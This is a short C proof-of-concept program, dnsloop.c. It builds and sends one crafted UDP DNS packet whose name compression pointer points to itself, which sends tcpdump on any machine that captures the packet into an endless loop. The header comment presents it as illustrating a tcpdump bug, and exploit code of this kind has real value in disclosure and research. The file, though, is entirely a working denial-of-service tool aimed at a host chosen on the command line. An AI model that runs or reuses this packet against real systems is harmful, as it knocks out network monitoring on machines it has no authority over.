/* dnsloop.c by Hugo Breton (bretonh@pgci.ca)
   This program illustrates the bug in tcpdump 
   when handling jumps in the DNS hostname 
   decompression.
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main(int argc,char * * argv)
{
  char p[18];
  int sock;
  struct sockaddr_in sin;
  struct hostent * hoste;
  
  printf("dnsloop.c by Hugo Breton" 
	 " (bretonh@pgci.ca)\n");
  
  if(argc<2)
    {
      printf("usage: %s host\n",argv[0]);
      return(0);
    }
  
  bzero((void *) &sin,sizeof(sin));
  sin.sin_family=AF_INET;
  sin.sin_port=htons(53);
  
  if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
      if((hoste=gethostbyname(argv[1]))==NULL)
	{
	  printf("unknown host %s\n",argv[1]);
	  return(0);
	}
      
      bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
    }
  
  bzero((void *) p,18);
  * ((unsigned short *) (p+0))=htons(867-5309);
  * ((unsigned short *) (p+4))=htons(1);
  * ((unsigned short *) (p+12))=
                         htons(32768+16384+12);
  * ((unsigned short *) (p+14))=htons(1);
  * ((unsigned short *) (p+16))=htons(1);
  
  if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
    {
      printf("unable to create UDP socket\n");
      return(0);
    }
  
  if(sendto(sock,p,18,0,(struct sockaddr *) 
	    &sin,sizeof(sin))==-1)
    {
      printf("unable to send packet\n");
      return(0);
    }
  
  printf("packet sent to host %s\n",argv[1]);
  
  return(0);
}